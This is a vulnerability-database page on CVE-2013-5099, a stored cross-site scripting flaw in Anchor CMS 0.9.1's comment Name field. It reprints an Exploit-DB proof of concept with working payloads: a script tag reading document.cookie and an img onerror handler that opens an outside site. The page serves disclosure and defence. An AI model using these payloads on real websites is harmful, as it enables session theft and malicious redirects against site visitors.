CVE-2013-5099

low
Published 2013-08-09 ยท Modified 2026-04-29
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
3.6

Description

Cross-site scripting (XSS) vulnerability in article.php in Anchor CMS 0.9.1, when comments are enabled, allows remote attackers to inject arbitrary web script or HTML via the Name field. NOTE: some sources have reported that comments.php is vulnerable, but certain functions from comments.php are used by article.php.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ€” if you've already worked around this in production โ€” publish your fix to the community-verified tier.

โœš Propose a mitigation on Community โ†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-26958 webapps php verified text ยท 3 KB
DURAKIBOX ยท 2013-07-18

Anchor CMS 0.9.1 - Persistent Cross-Site Scripting

text exploit Source: Exploit-DB
# Exploit Title	:	AnchorCMS Stored XSS exploit v0.9.1
# Exploit Author:	DURAKIBOX / dn5
# Website		:	halisduraki.com
# Email			:	duraki@null.net
# Date			:	18.7.2013.
# CMS uri		:	http://anchorcms.com/ 
# Version 		:	AnchorCMS <= 0.9.1

# About the CMS
Anchor is a super-simple, lightweight blog system, made to let you just write. It's still a new CMS but it has a lot of options even if it's coded by one person. Inital coder is Visual Idiot. Anchor is open-source project also located on Github.

# About the exploit
-> File 	:	article.php file shows article/post page with text written by owners. If owner enable comments for specific post, attacker can execute 	 				malicious content using a comment form. The malicious content could be either JavaScript code, but may also include HTML, Flash etc.                The code is executed over form where "Name" field is actual vulnerability.

				As seen in code bellow, the function "comment_form_url()" is called through POST action.				
				<form id="comment" class="commentform wrap" method="post" action="<?php echo comment_form_url(); ?>#comment">

				The code bellow show us a field which is vulnerable with function "comment_form_input_name"
				<p class="name">
					<label for="name">Your name:</label>
					<?php echo comment_form_input_name('placeholder="Your name"'); ?>
				</p>	


				\functions\comments.php file contain function for posting comment. 
				function comment_form_url() {
					return Uri::to(Uri::current());
				}


				article.php file also contain a code for showing comments if they are enabled. The most specific one for us is function
				"comment_name()" which is actual result of exploit.
				<?php if(comments_open()): ?>
						<?php if(has_comments()): ?>
						<ul class="commentlist">
							<?php $i = 0; while(comments()): $i++; ?>
								...
									<h2><?php echo comment_name(); ?></h2>
								...
									<span class="counter"><?php echo $i; ?></span>
							<?php endwhile; ?>
				<?php endif; ?>

# PoC (Proof of Concept)
Lets put some assumptions - CMS have original files
						  - Article have comments enabled
						   +++++++++++++++++++++++++++++++

If we comment on article in this way -
	Name 	:	<script>alert(document.cookie)</script>
	Email	:	anything@service.com
	Text 	:	Stored XSS

	RESULT 	:	Who ever access article with comment above will get the same result, a cookie stored in.

If we comment on article in this way -
	Name 	:	<img src="http://redirect/exploit/" onerror=window.open("http://www.example.com","szck",'height=500,width=500');>
	Email 	:	anything@service.com
	Text 	:	Stored XSS

	RESULT  :	Who ever access article with comment above will be redirected to "example.com" website.

In both example we see that attacker can execute malicious code over stored-xss so users can infect their self, either expose their cookie over gate which attacker can set-up or download malware from redirected website.

=======================================================
+ dn5 | @ludi_zeko | www.halisduraki.com
=======================================================

Application impact

VendorProductVersionsFixed
anchoranchor_cms0.9.1

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.